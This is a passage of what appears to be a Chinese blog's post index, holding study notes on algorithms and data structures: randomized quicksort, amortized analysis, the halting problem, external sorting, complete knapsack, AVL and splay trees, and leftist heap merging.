随机化快速排序\r标准化快速排序\r标准化快速排序的工作方式\r分解 从数组中选择一个元素作为主元。在一个确定性的实现中，我们通常会固定地选择第一个元素、最后一个元素或中间的元素 征服 重新排列数组，使得所有小于住院的元素都移动到主元的左边，所有大于主元的元素都移动到主元的右边。这个过程成为分区。分区阶数后，主元就处在它最终排序后正确的位置上 合并 因为是原地排序，当递归的子数组都排好序后，整个数组也就完成了排序，不需要额外的合并步骤 标准化快速排序的缺陷\r性能高度依赖于主元pivot的选择 最好的情况：每次分区，主元都恰好是当前子数组的中位数。这样数组被完美地平分为两半，递归树的深度是 log n，每层分区操作的总时间是 O(n)，所以总的时间复杂度是 O(n log n)。 最坏的情况：每次分区，主元都选到了当前子数组的最小值或最大值。例如，如果对一个已经排好序的数组使用“总是选择第一个元素作为主元”的策略，就会发生这种情况。 分区后，一个子数组是空的，另一个子数组包含了剩下 n-1 个元素。 这会导致递归树严重不平衡，深度变成 n。 总的时间复杂度退化为 O(n^2)，和效率低下的冒泡排序、插入排序一个级别。 引入随机化————修复缺陷\r随机化快速排序的核心思想非常简单：不要让主元 pivot 的选择有固定的模式，让它变得不可预测。通过引入随机性，我们可以确保对于任何输入（即使是已经排好序的），算法都能有极高的概率表现出接近最优的性能。我们不是在赌运气，而是在用概率论来保证整体的、长期的优秀表现。 随机化方式\r随机选取主元 这是最直接的方法。在每次执行 partition 操作时，不再固定选择某个位置的元素，而是在当前待排序的子数组 A[p\u0026hellip;r] 中，随机地选择一个索引 i（其中 p ≤ i ≤ r），然后将 A[i] 与子数组的末尾元素 A[r] (或开头元素 A[p]) 交换。 之后，就按照标准的 partition 流程，使用 A[r] 作为主元进行分区。 这样，每个元素都有同等的机会被选为下一轮的主元，从而极大概率地避免了不平衡的划分。 随机打乱整个数组 这是一个更高层面的随机化。在调用快速排序算法之前，先对整个输入数组进行一次随机洗牌（比如使用 Fisher-Yates shuffle 算法）。 完成洗牌后，再使用一个完全确定性的快速排序算法（比如总是选择最后一个元素作为主元）。 其效果和方法一在理论上是等价的：因为输入序列是随机的，所以你固定选择的那个主元，在原始数据中实际上是随机的。这种方法有时在理论分析上更为方便。 ","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E9%9A%8F%E6%9C%BA%E7%AE%97%E6%B3%95/","title":"随机算法"},{"content":"摊还分析\r概念\r核心观点：摊还分析计算的是在一个操作序列中，每个操作的平均成本。它保证了整个序列的总成本不会超过所有操作的瘫痪成本之和。关键在于，这个\u0026quot;摊还成本\u0026quot;通常是一个较小的、固定的值，即使序列中某些操作的实际成本可能非常高。 类比：可以想象一下上班通勤，大部分时候只需要约15分钟，但偶尔（如平均一个月一次）会遇到大堵车，此时要花费2个小时 最坏情况分析会说：\u0026ldquo;你上班通勤最多要花费2小时。\u0026ldquo;这个结论没错，但不能准确反映日常的通勤体验 摊还分析则会说：\u0026ldquo;我们把罕见的2小时堵车成本分摊到整个月的通勤中。可能每天的摊还成本就变成了20分钟。\u0026ldquo;这个结论更能代表通勤的时间成本 意义\r当数据结构的操作成本波动很大时，摊还分析非常有用。一个典型的例子是C++的vector或Java的ArrayList（动态数组） 大多数push_back操作：如果数组容量未满，这个操作非常快，时间复杂度是O(1) 偶尔的push_back操作：如果数据容量满了，时间复杂度是O(n) 如果我们只看最坏情况，会得出 push_back 的复杂度是 O(n) 的结论。但这显然忽略了 O(1) 操作占绝大多数的事实。摊还分析可以证明，push_back 的摊还成本其实是 O(1)。 摊还分析方法\r聚合分析\r计算方法\r计算出一个包含n个操作的序列的总实际成本 用总成本T(n)除以操作次数n，得到每个操作的平均成本，即摊还成本 摊还成本$T = T(n)/n$ 案例：动态数组的push_back\r假设我们从一个空数组开始，连续执行n次push_back操作。数组容量从1开始，每次满了就翻倍 常规插入（非扩容）：每次成本为1个单位 扩容插入：当元素数量打到1,2,4,8,\u0026hellip;，2^k^时，需要扩容，需要复制2^i-1^个元素 现在来看n次操作的总成本： 常规插入（非扩容）总成本：每次1单位成本，故总成本为n 扩容总成本：扩容发生在2^k^时，总扩容成本时2^k^-1，这个成本小于n 总实际成本： O(n) 摊还成本：O(1) 记账法/核算法\r计算方法：\r这份方法为每个操作分配一个“摊还成本” 如果一个操作的摊还成本\u0026gt;实际成本，多出来的部分存入\u0026quot;账户\u0026quot;中 如果一个操作的实际成本\u0026lt;摊还成本，那么不足的部分就从\u0026quot;银行账户\u0026quot;中取出\u0026quot;存款\u0026quot;来支付 关键原则：只要保证\u0026quot;银行账户\u0026quot;余额不为负，我们设定的摊还成本就是有效的 案例：动态数组的push_back\r我们设定push_back的摊还成本为3个单位 情况1：数组未满（实际成本为1） 我们支付3单位的摊还成本 1单位用于本次插入 剩下2单位存入银行 情况2：数组已满，需要扩容 此时，数组中有m个元素。我们需要将它们全部复制到新数组（大小为2m），然后再插入新元素，实际成本为m+1 足够支付，设定成立 时间复杂度为O(1) 摊还成本的选取\r选取原则\r原则是在满足不会出现负资产的前提下（在级数上）尽可能小 示例\r仍然以push_back操作为例。从刚执行完一次扩容的状态开始，此时数组中有$m$个元素，设摊还分析代价为$x$，那么当执行到下一次扩容时，余额是$m(x-1)$下一次扩容时，数组大小为$2m$，要插入第$2m+1$个元素，成本为$2m+1$。需要取出的代价为$2m+1-x$ 即x需要满足于$m(x-1) \\geq 2m+1-x$，可以解得$x \u0026gt;= \\frac{3m+1}{m+1}$，可知右式小于3且当$m$趋向于正无穷时收敛于3，那么可以解得$m \\geq 3$。上面示例中的3就是这么得到的 势能法\r计算方法\r这是最灵活也最抽象的方法，结合了物理学中势能的概念 定义一个势函数$\\Phi$，将数据结构的某个状态D映射到一个非负数$\\Phi(D)$，代表该状态下积累的\u0026quot;势能\u0026rdquo;。我们要求初始状态$D_0$的势能$\\Phi(D_0) = 0 $ 第i个操作的摊还成本$\\hat{a}_i$，有 $\\hat{a}i = c_i + \\Phi(D_i) - \\Phi(D{i-1})$ 案例：动态数组的push_back\r定义势函数： 首先给出两个参数 size：数组中元素的数量 capacity：数组的容量 然后定义势函数$ Φ(D) = 2 * size - capacity $ 初始状态：$size = 0, capacity = 0, \\Phi(D_0) = 0$ 我们必须保证任何时候有$\\Phi(D) \\geq 0$，因为capacity总是大于等于size，并且在扩容后capacity = 2*size，所以这个势函数总是非负的。 然后分析第i次push_back $size_i = size_{i-1} + 1$ $c_i = $ 实际成本 情况1：不扩容 实际成本$c_i = 1$ 势能变化：$ΔΦ = Φ(D_i) - Φ(D_{i-1}) = (2size_i - capacity_i) - (2size_{i-1} - capacity_{i-1}) = 2(size_i - size_{i-1}) = 2$ 摊还成本：$â_i = c_i + ΔΦ = 1 + 2 = 3$ 情况2：扩容(size_{i-1} = capacity_{i-1}) 扩容前，$size = m，capacity = m$ 扩容后，$size = m+1，capacity = 2m$ 实际成本$c_i = m+1$ 势能变化： $\\Phi(D({i-1})) = m$ $\\Phi(D_i) = 2(m+1) - 2m = 2$ $\\Delta\\Phi = 2-m$ 摊还成本$ â_i = c_i + ΔΦ = (m+1) + (2 - m) = 3$ 即两种抢矿下摊还成本都为3，时间复杂度为O(1) ","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E6%91%8A%E8%BF%98%E5%88%86%E6%9E%90/","title":"摊还分析"},{"content":"停机问题的不可判定性\r1. 停机问题定义\r停机问题（Halting Problem）：\n给定一个程序P和输入I，判断程序P在输入I上是否会停机（终止执行） 形式化表述：是否存在算法H，对于任意程序P和输入I，H(P,I)能够判断P(I)是否停机 2. 图灵的对角线证明\r2.1 证明思路\r使用对角线方法（类似康托尔证明实数不可数）和反证法\n2.2 证明过程\r假设：存在停机判定算法H(P,I)\n如果程序P在输入I上停机，则H(P,I) = 1 如果程序P在输入I上不停机，则H(P,I) = 0 构造矛盾程序D：\n1 2 3 4 5 6 def D(P): if H(P, P) == 1: # 如果P(P)停机 while True: # 则D(P)进入无限循环 pass else: # 如果P(P)不停机 return # 则D(P)停机 分析D(D)的行为：\n情况1：假设D(D)停机\n根据D的定义，这意味着H(D,D) = 0 H(D,D) = 0 表示D(D)不停机 矛盾！ 情况2：假设D(D)不停机\n根据D的定义，这意味着H(D,D) = 1 H(D,D) = 1 表示D(D)停机 矛盾！ 结论：无论哪种情况都导致矛盾，因此假设错误，停机判定算法H不存在。\n3. 形式化证明\r3.1 使用编码方法\r将所有程序编码为自然数，设：\nφₑ：编码为e的程序 φₑ(x)：程序φₑ在输入x上的计算 停机函数：\n1 2 3 4 K(e,x) = { 1, 如果φₑ(x)停机 0, 如果φₑ(x)不停机 } 证明K不可计算：\n假设K可计算，构造函数f：\n1 2 3 4 f(e) = { ↑ (不停机), 如果K(e,e) = 1 0, 如果K(e,e) = 0 } 由Church-Turing论题，f对应某个程序φd，即f = φd\n分析φd(d)：\n如果φd(d)停机，则K(d,d) = 1，但根据f的定义，φd(d) = f(d) = ↑（不停机） 如果φd(d)不停机，则K(d,d) = 0，但根据f的定义，φd(d) = f(d) = 0（停机） 矛盾！因此K不可计算。\n4. 停机问题的变形\r4.1 特殊停机问题\r空输入停机问题：程序P在空输入上是否停机？ 空白带停机问题：图灵机在空白带上是否停机？ 这些变形同样不可判定。\n4.2 Rice定理\rRice定理：对于图灵机的任何非平凡语义性质，判定该性质是不可判定的。\n推论：以下问题都不可判定：\n程序是否计算特定函数 程序是否输出特定值 程序的运行时间是否超过某个界限 5. 归约证明其他不可判定问题\r5.1 从停机问题归约\r许多问题可以通过从停机问题归约来证明不可判定：\nPost对应问题（PCP）：\n给定两个字符串序列，是否存在索引序列使得连接后的字符串相等 从停机问题归约到PCP 图灵机等价性问题：\n两个图灵机是否计算相同函数 不可判定 5.2 归约方法\r如果问题A归约到问题B（A ≤ B），且A不可判定，则B也不可判定。\n6. 实际意义和应用\r6.1 理论意义\r计算极限：揭示了计算的根本限制 不完备性：与哥德尔不完备定理相呼应 复杂度理论：为计算复杂度理论奠定基础 6.2 实际应用\r程序验证：完全自动的程序验证是不可能的 编译器优化：某些优化问题等价于停机问题 软件测试：自动生成完备测试用例是不可能的 7. 可判定性层次\r1 2 3 递归语言 ⊂ 递归可枚举语言 ⊂ 所有语言 ↑ ↑ 可判定 半可判定 停机问题：\n属于递归可枚举语言（半可判定） 不属于递归语言（不可判定） 8. 相关概念\r8.1 可计算性\r可计算函数：存在图灵机能计算的函数 不可计算函数：不存在图灵机能计算的函数 停机函数是不可计算函数的典型例子 8.2 Church-Turing论题\r直觉上可计算的函数正是图灵可计算函数 为停机问题的不可判定性提供哲学基础 9. 现代视角\r9.1 与复杂度理论的关系\r停机问题不仅不可判定，而且不在任何递归时间复杂度类中 连接了可计算性理论和复杂度理论 9.2 实用考虑\r虽然停机问题不可判定，但对于：\n特定程序类：可能可判定 实际程序：启发式方法often有效 有界资源：在给定时间/空间限制下可判定 10. 结论\r停机问题的不可判定性是计算理论中的基石性结果，它：\n确立了计算的理论极限 为其他不可判定问题提供了证明模板 深刻影响了程序验证和软件工程 展示了数学和逻辑推理的力量 这个结果告诉我们，即使在理论上拥有无限的计算资源，仍有一些根本性的问题是无法通过算法解决的。这种限制不是技术上的，而是逻辑上的必然性。\n","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E5%81%9C%E6%9C%BA%E9%97%AE%E9%A2%98%E7%9A%84%E4%B8%8D%E5%8F%AF%E5%88%A4%E5%AE%9A%E6%80%A7/","title":"停机问题的不可判定性"},{"content":"外部排序\r概念与意义\r当待排序的数据量太大，无法依次装入内存时，需要借助外部存储器（如硬盘）来完成的排序算法。这是大数据处理中的核心技术之一。 核心思想\r外部排序使用分治策略 分割阶段：将大文件分成若干个小的有序子文件 合并阶段：将这些有序的归并段合并成一个完整的有序文件 基本算法流程\r第一阶段：生成初始归并带\r读取能装入内存的一块数据 在内存中堆这块数据进行排序（使用快速排序等内部排序算法） 将排序后恶数据写入临时文件作为一个归并段 重复上述步骤直到处理完所有数据 第二阶段：多路归并\r同时打开多个归并段文件 从每个文件中读取一部分数据到内存缓冲区 使用多路归并算法合并这些数据 将合并结果写入输出文件 重复直到所有数据合并完成 关键参数分析\rN：总记录数 M：内存能容纳的记录数 B：磁盘块大小 初始归并段数量：$\\lceil N/M \\rceil$ 归并路数：通常选择 $k = M/B - 1$（预留一个缓冲区给输出） 性能分析\r时间复杂度\r总的I/O次数：$O(N \\times log_k[K/m])$ 比较次数：$O(N \\times log_k[N/M])$ 空间复杂度\r内存使用：$O(M)$ 临时磁盘空间：$O(N)$ 优化策略\r替换选择排序：生成初始归并段时可以产生长度大于内存容量的归并段 多项归并：当归并段数量不是k的倍数时，使用多相归并可以减少归并趟数 缓冲区优化：为每个输入和输出文件分配合适大小的缓冲区；使用双缓冲技术overlap I/O和CPU计算 ","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E5%A4%96%E9%83%A8%E6%8E%92%E5%BA%8F/","title":"外部排序"},{"content":"完全背包问题详解 - 以零钱兑换 II 为例\r1. 什么是完全背包问题\r完全背包问题是动态规划中的经典问题，与01背包问题的区别在于：\n01背包：每个物品只能使用一次 完全背包：每个物品可以使用无限次 2. 零钱兑换 II 问题分析\r问题描述\r给定不同面额的硬币和一个总金额，计算可以凑成总金额的硬币组合数。\n为什么是完全背包？\r物品：不同面额的硬币 背包容量：目标金额 特点：每种硬币可以使用无限次 目标：求组合数（而非最大价值） 3. 动态规划解法详解\r3.1 状态定义\r1 dp[j] = 凑成金额 j 的硬币组合数 3.2 初始化\r1 2 dp[0] = 1 // 金额为0只有1种方案：不选任何硬币 dp[其他] = 0 3.3 状态转移方程\r1 dp[j] += dp[j - coin] 含义：当前金额 j 的组合数 = 原有组合数 + 使用当前硬币后的组合数\n3.4 遍历顺序（关键！）\r1 2 3 4 5 for (int coin : coins) { // 外层：遍历硬币 for (int j = coin; j \u0026lt;= amount; j++) { // 内层：遍历金额 dp[j] += dp[j - coin]; } } 为什么这样遍历？\n先遍历硬币，再遍历金额，保证了组合的唯一性 避免了重复计算（如 1+2 和 2+1 被当作不同组合） 4. 手工模拟过程\r以 amount = 5, coins = [1, 2, 5] 为例：\n初始状态\r1 dp[0] = 1, dp[1] = 0, dp[2] = 0, dp[3] = 0, dp[4] = 0, dp[5] = 0 处理硬币 1\r1 2 3 4 5 6 coin = 1 j = 1: dp[1] += dp[0] = 0 + 1 = 1 j = 2: dp[2] += dp[1] = 0 + 1 = 1 j = 3: dp[3] += dp[2] = 0 + 1 = 1 j = 4: dp[4] += dp[3] = 0 + 1 = 1 j = 5: dp[5] += dp[4] = 0 + 1 = 1 结果：dp = [1, 1, 1, 1, 1, 1] 含义：只用硬币1，每个金额都有1种凑法\n处理硬币 2\r1 2 3 4 5 coin = 2 j = 2: dp[2] += dp[0] = 1 + 1 = 2 // 新增一种：用1个硬币2 j = 3: dp[3] += dp[1] = 1 + 1 = 2 // 新增一种：2+1 j = 4: dp[4] += dp[2] = 1 + 2 = 3 // 新增两种：2+2, 2+1+1 j = 5: dp[5] += dp[3] = 1 + 2 = 3 // 新增两种：2+2+1, 2+1+1+1 结果：dp = [1, 1, 2, 2, 3, 3]\n处理硬币 5\r1 2 coin = 5 j = 5: dp[5] += dp[0] = 3 + 1 = 4 // 新增一种：用1个硬币5 最终结果：dp = [1, 1, 2, 2, 3, 4]\n验证组合\r金额5的4种组合：\n5 (1个硬币5) 2+2+1 2+1+1+1 1+1+1+1+1 5. 关键技术点\r5.1 为什么内层循环正向遍历？\r完全背包允许重复使用，所以从小到大更新 01背包需要逆向遍历，避免重复使用 5.2 组合 vs 排列\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // 组合（当前实现）：先遍历物品，再遍历背包 for (coin : coins) { for (j = coin; j \u0026lt;= amount; j++) { dp[j] += dp[j - coin]; } } // 排列：先遍历背包，再遍历物品 for (j = 1; j \u0026lt;= amount; j++) { for (coin : coins) { if (j \u0026gt;= coin) { dp[j] += dp[j - coin]; } } } 5.3 空间优化\r使用一维数组而非二维数组 空间复杂度从 O(n×amount) 优化到 O(amount) 6. 完全背包模板\r1 2 3 4 5 6 7 8 9 10 // 模板：完全背包求组合数 vector\u0026lt;int\u0026gt; dp(target + 1, 0); dp[0] = 1; for (int item : items) { // 遍历物品 for (int j = item; j \u0026lt;= target; j++) { // 遍历背包（正向） dp[j] += dp[j - item]; // 状态转移 } } return dp[target]; 7. 复杂度分析\r时间复杂度：O(n × amount)，其中 n 是硬币种类数 空间复杂度：O(amount) 8. 相关变形题目\r零钱兑换：求最少硬币数（最值问题） 组合总和IV：求排列数（改变遍历顺序） 分割等和子集：01背包变形 目标和：01背包变形 完全背包问题的核心在于理解状态转移和遍历顺序，掌握了这个模板，可以解决很多相关的动态规划问题。\n","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E5%AE%8C%E5%85%A8%E8%83%8C%E5%8C%85%E9%97%AE%E9%A2%98%E8%AF%A6%E8%A7%A3/","title":"完全背包问题详解"},{"content":"自平衡二叉搜索树\rAVL树——一种自平衡搜索二叉树\r核心目标\r解决普通搜索二叉树再操作时退化成链表，导致查询、删除插入等操作的时间复杂度由O(log n)退化到O(n)的问题。AVL树通过自动维护树的高度平衡来确保最坏情况下操作的时间复杂度仍然是O(log n) 概念\r平衡因子\r定义：对于一个节点node， 其平衡因子等于左子树的高度减去右子树的高度 关键性质：再一个AVL树中，每个节点的平衡因子只能是-1，0，1三个值之一 意义：BF直观地反映了该节点左右子树的高度差。BF=1表示左子树比右子树高一层；BF=0表示两子树等高；BF=-1表示右子树比左子树高一层。限制|BF| \u0026lt;=1就保证了局部的高度平衡。 高度\r定义：树中一个节点的高度（Height） 是指从该节点到其子树中最远叶子节点的最长路径上的边数 约定 空树的高度定义为-1 单个叶子节点的高度定义为0 AVL树的递归定义\r基础：一颗空的二叉树是高度平衡的 递归步骤：一棵非空的二叉树T，以其左子树T_L和右子树T_R作为子树，是AVL树当且仅当： T_L是AVL树 T_R是AVL树 |height(T_L) - height(T_R)| \u0026lt;= 1 简单地说：当插入或删除破坏平衡时（检测到某个节点的|BF|=2），需要根据不平衡节点（A）、导致问题的子树方向以及问题节点（通常是新插入或删除位置附近的节点）的BF来决定执行哪种旋转。 四种基本旋转操作\r1. LL型旋转（左左型，右旋转）\r场景：不平衡节点A的BF = 2，且A的左子树B的BF = 1（或0） 操作：将B提升为新的根，A成为B的右子树，B的原右子树成为A的左子树 示意图： 1 2 3 4 5 A(BF=2) B / / \\ B(BF=1) → C A / / C D 2. RR型旋转（右右型，左旋转）\r场景：不平衡节点A的BF = -2，且A的右子树B的BF = -1（或0） 操作：将B提升为新的根，A成为B的左子树，B的原左子树成为A的右子树 示意图： 1 2 3 4 5 A(BF=-2) B \\ / \\ B(BF=-1) → A C \\ \\ C D 3. LR型旋转（左右型，先左旋后右旋）\r场景：不平衡节点A的BF = 2，且A的左子树B的BF = -1 操作： 对B进行左旋转（RR旋转） 对A进行右旋转（LL旋转） 示意图： 1 2 3 4 5 A(BF=2) A C / / / \\ B(BF=-1) → C → B A \\ / C B 4. RL型旋转（右左型，先右旋后左旋）\r场景：不平衡节点A的BF = -2，且A的右子树B的BF = 1 操作： 对B进行右旋转（LL旋转） 对A进行左旋转（RR旋转） 示意图： 1 2 3 4 5 A(BF=-2) A C \\ \\ / \\ B(BF=1) → C → A B / \\ C B AVL树的插入操作\r插入步骤\r标准BST插入：按照二叉搜索树的规则插入新节点 回溯更新高度：从插入位置向上回溯，更新每个祖先节点的高度 检查平衡性：计算每个节点的平衡因子 执行旋转：如果发现不平衡（|BF| = 2），根据情况执行相应的旋转操作 时间复杂度\r查找位置：O(log n) 旋转操作：O(1) 总体：O(log n) AVL树的删除操作\r删除步骤\r标准BST删除：按照二叉搜索树的规则删除节点 叶子节点：直接删除 只有一个子树：用子树替换 有两个子树：用中序后继（或前驱）替换 回溯更新高度：从删除位置向上回溯，更新每个祖先节点的高度 检查平衡性：计算每个节点的平衡因子 执行旋转：如果发现不平衡，执行相应的旋转操作 时间复杂度\r查找节点：O(log n) 删除操作：O(1) 旋转操作：O(1) 总体：O(log n) AVL树的性质与优势\r关键性质\r高度保证：对于n个节点的AVL树，树高h满足：log₂(n+1) ≤ h ≤ 1.44log₂(n+2) 平衡性：任何节点的两个子树高度差最多为1 操作复杂度：查找、插入、删除操作都是O(log n) 优势\r稳定的性能：保证最坏情况下仍有良好的时间复杂度 自动维护：无需手动调整，自动保持平衡状态 适用范围广：适合频繁查找、插入、删除的应用场景 劣势\r空间开销：需要存储额外的高度或平衡因子信息 旋转开销：插入和删除时可能需要进行旋转操作 实现复杂：相比普通BST，实现较为复杂 应用场景\r数据库索引：需要频繁查询和更新的索引结构 内存管理：操作系统中的虚拟内存管理 编译器：符号表的维护 图形学：空间数据结构的基础 网络路由：路由表的高效查找 与其他平衡树的比较\r特性 AVL树 红黑树 B树 平衡性 严格平衡 近似平衡 多路平衡 查找性能 最优 良好 良好 插入/删除 较多旋转 较少旋转 复杂分裂/合并 应用场景 查找密集 通用场景 磁盘存储 Splay树（伸展树）————另一种自平衡的二叉搜索树\r核心思想\rSplay树的核心思想是“最近被访问过的元素很可能被再次访问），通过伸展操作调整高访问频率的节点的位置（靠近根节点）来提高访问速度 伸展操作(Splaying)\r伸展：每次对树进行访问后，Splay树都会经过一系列旋转将被访问节点移动到靠近根节点的位置 目标 平衡 自适应 简化 操作 zig/zag（单旋转） 场景：p是根节点 操作：进行一次标准BST单旋 如果p是左节点，右旋 如果p是右节点，左旋 结果：p取代根节点 zig—zig/zag-zag（单向双旋转） 场景：p和p的父节点都是左子节点 操作：p的父节点先进行一个标准BST单旋，p再进行一次标准BST单旋 结果：p取代p的祖父节点 zig-zag/zag-zig（异向双旋转） 场景：x和p的方向相反 操作：先对x和p进行一次旋转，再对x和g进行一次旋转 结果：x移动到原来g的位置 摊还分析（Amortized Analysis）\r定义与核心思想\r定义：摊还分析是一种分析算法复杂度的技术，它不关注单次操作的最坏情况时间复杂度，而是分析一系列操作的平均时间复杂度 核心思想：某些操作虽然单次执行可能代价很高，但在一系列操作中，高代价操作的频率较低，因此平均下来每次操作的代价是可接受的 与平均情况分析的区别： 平均情况分析：基于输入的概率分布 摊还分析：基于操作序列，不依赖概率分布 三种摊还分析方法\r1. 聚合方法（Aggregate Method）\r基本思路：分析n次操作的总代价，然后除以n得到平均代价 步骤： 证明n次操作的总代价为T(n) 摊还代价 = T(n) / n 示例：栈的多重弹出操作 1 2 3 4 5 6 7 // MultiPop操作：弹出k个元素或栈为空 void MultiPop(Stack\u0026amp; s, int k) { while (!s.empty() \u0026amp;\u0026amp; k \u0026gt; 0) { s.pop(); k--; } } 分析：\n单次MultiPop最坏O(n) n次操作中，每个元素最多被push一次，pop一次 总代价：O(n) 摊还代价：O(1) 2. 会计方法（Accounting Method）\r基本思路：为每种操作分配摊还代价，建立\u0026quot;银行账户\u0026quot;概念 原则： 摊还代价 ≥ 实际代价（保证账户余额非负） 某些操作预付费用，为将来的高代价操作储备 示例：动态数组扩容 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 class DynamicArray { private: int* arr; int size; int capacity; public: void push_back(int val) { if (size == capacity) { // 扩容：代价为O(size) int new_capacity = capacity * 2; int* new_arr = new int[new_capacity]; for (int i = 0; i \u0026lt; size; i++) { new_arr[i] = arr[i]; // 复制代价 } delete[] arr; arr = new_arr; capacity = new_capacity; } arr[size++] = val; // 实际插入代价O(1) } }; 分析：\n摊还代价设为3：插入(1) + 预付将来复制自己(1) + 预付将来复制之前元素(1) 扩容时使用预付的费用，无需额外支付 摊还代价：O(1) 3. 势能方法（Potential Method）\r基本思路：定义势能函数Φ(Di)，表示数据结构在状态Di时的\u0026quot;势能\u0026quot; 摊还代价公式： ĉᵢ = cᵢ + Φ(Dᵢ) - Φ(Dᵢ₋₁) 其中：ĉᵢ是摊还代价，cᵢ是实际代价 势能函数要求： Φ(D₀) = 0（初始状态势能为0） Φ(Dᵢ) ≥ 0（势能非负） 示例：二进制计数器递增 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class BinaryCounter { private: vector\u0026lt;int\u0026gt; bits; // bits[i] = 0 or 1 public: void increment() { int i = 0; while (i \u0026lt; bits.size() \u0026amp;\u0026amp; bits[i] == 1) { bits[i] = 0; // 翻转代价 i++; } //全部置0 if (i == bits.size()) { bits.push_back(1); } else { bits[i] = 1; } //置1和延伸 } }; 分析：\n势能函数：Φ(D) = 二进制表示中1的个数 设翻转了t个1，则： 实际代价：cᵢ = t + 1 势能变化：Φ(Dᵢ) - Φ(Dᵢ₋₁) = 1 - t 摊还代价：ĉᵢ = (t + 1) + (1 - t) = 2 摊还代价：O(1) Splay树的摊还分析\r访问定理（Access Theorem）\r定理：在一棵有n个节点的Splay树中，从空树开始的m次操作的总时间复杂度为O(m log n + n log n)\n势能函数定义\r对于节点x，定义： size(x) = x子树中的节点数 rank(x) = ⌊log₂ size(x)⌋ 势能函数：Φ(T) = Σ rank(x) for all x in T 伸展操作的摊还分析\r引理：伸展操作将节点x移动到根的摊还代价最多为3(rank(root) - rank(x)) + 1\n证明思路：\nZig步骤（x的父节点是根）：\n摊还代价 ≤ 1 + 3(rank\u0026rsquo;(x) - rank(x)) Zig-Zig步骤：\n摊还代价 ≤ 3(rank\u0026rsquo;(x) - rank(x)) Zig-Zag步骤：\n摊还代价 ≤ 2(rank\u0026rsquo;(x) - rank(x)) 重要结论\r单次操作：摊还代价为O(log n) m次操作：总摊还代价为O(m log n) 动态最优性：Splay树在访问模式具有局部性时表现优异 摊还分析的应用场景\r1. 数据结构操作\r动态数组：插入操作的摊还复杂度 哈希表：带扩容的插入操作 堆：斐波那契堆的decrease-key操作 2. 算法分析\r并查集：路径压缩的摊还分析 最小生成树：Kruskal算法中的并查集操作 图算法：某些最短路径算法 3. 实际系统\r内存管理：垃圾回收的摊还代价 数据库：B+树的分裂和合并操作 编译器：词法分析器的缓冲区管理 摊还分析与Splay树的优势\r自适应性：频繁访问的节点自动上移 简单实现：相比AVL树，实现更简单 空间效率：不需要存储额外的平衡信息 缓存友好：局部性原理的体现 实际应用中的考虑\r访问模式：如果访问完全随机，Splay树优势不明显 最坏情况：单次操作可能需要O(n)时间 实际性能：在具有局部性的应用中表现优异 摊还分析的局限性\r不保证单次操作的性能：某些关键实时系统可能不适用 分析复杂：相比最坏情况分析，证明更复杂 依赖操作序列：分析结果依赖于具体的操作模式 总结\r摊还分析是理解Splay树等自适应数据结构性能的关键工具。它告诉我们：\nSplay树虽然单次操作可能较慢，但长期表现优异 通过势能方法可以严格证明其O(log n)的摊还复杂度 在具有访问局部性的应用中，Splay树是优秀的选择 ","date":"2025-08-12T10:58:00+08:00","permalink":"https://example.com/p/%E8%87%AA%E5%B9%B3%E8%A1%A1%E4%BA%8C%E5%8F%89%E6%A0%91/","title":"自平衡二叉树"},{"content":"左式堆与斜堆\r左式堆(Leftist heap)\r定义\r直观理解\r\u0026amp;emsp；我们从左式堆的定义开始。顾名思义，左式堆就是“左偏”的堆，为了明确“左偏”的定义，我们给出一个定义零路径长。\n零路径长(null path length, NPL)\r我们把任一节点X的零路径长Npl(X)定义为从X到一个没有两个子节点的的最短路径的长(本质是寻找到空节点的距离)。因此，具有1或0个子节点的节点的Npl为0。另外规定$Npl(NULL)=\\textit{-1}$ 由这个定义可以知道每个节点的Npl就等于它子节点Npl中的较小值+1 左式堆的结构性质\r左式堆的结构性质：每个结点的左孩子的Npl都要大于等于其右孩子的Npl 从这一性质可以引出另一个定理：在右路径上有$r$个节点的左式堆必然有至少$2^r-1$个节点（最小值的情况即完全二叉树） 左式堆的操作和实现\r左式堆的操作介绍\r左式堆有三个核心操作： Merge Insert Delte 其中Insert可以视为与一个独立节点的Merge，因此可以规约到Merge；而Delte的操作方式是删去根节点，然后对左右子树Merge，因此关键问题还是Merge 左式堆的归并(Merge)\r递归实现\r操作逻辑\r如果两个堆中有一个是空的，那么直接返回另一个 如果两个堆都非空，我们比较两个堆的根节点key的大小，key小的是H1，大的是H2； 如果H1只有一个根节点，将H2连接到H1的左子树（实际可以被包含在下面的操作中） 如果H1不只有根节点，则将H1的右子树与H2合并 如果H1的Npl属性被违反，则交换两个子树 更新H1的Npl 示例代码\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 inline int Npl(Heap* x) { return x ? x-\u0026gt;Npl : -1; } Heap* Merge(Heap* H1, Heap* H2) { if(H2 == NULL) return H1; if(H1 == NULL) return H2; //处理存在空堆的情况 if(H1-\u0026gt;val \u0026gt; H2-\u0026gt;val) swap(H1, H2); //正确地选择H1 H1-\u0026gt;right = Merge(H1-\u0026gt;right, H2); if(Npl(H1-\u0026gt;left) \u0026lt; Npl(H1-\u0026gt;right)) { swap(H1-\u0026gt;left, H1-\u0026gt;right); } // 递归归并 H1-\u0026gt;Npl = Npl(H1-\u0026gt;right)+1; //更新Npl return H1; } 迭代实现\r操作逻辑\r如果有一个堆是空的，那么直接返回另一个堆 如果两个堆都非空，比较根节点的键值大小，选取小的作为H1 创建分别指向两个根节点的指针a和b 当a和b都非空时，比较a和b的键值，如果a的键值大于b，交换a和b 将a节点压入栈 a移动到a的右子节点 重复以上3步直到有a或b为NULL（有一个堆被全部遍历） 将剩余的非空一侧作为尾部 从栈中弹出节点p 使用p在tail上自下向上搭建堆 更新Npl 更新tail 重复以上4步直到栈为空 示例代码\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 inline int Npl(Heap* x) { return x ? x-\u0026gt;Npl : -1; } Heap* Merge(Heap* H1, Heap* H2) { if(!H1) return H2; if(!H2) return H1; Heap *a = H1, *b = H2; 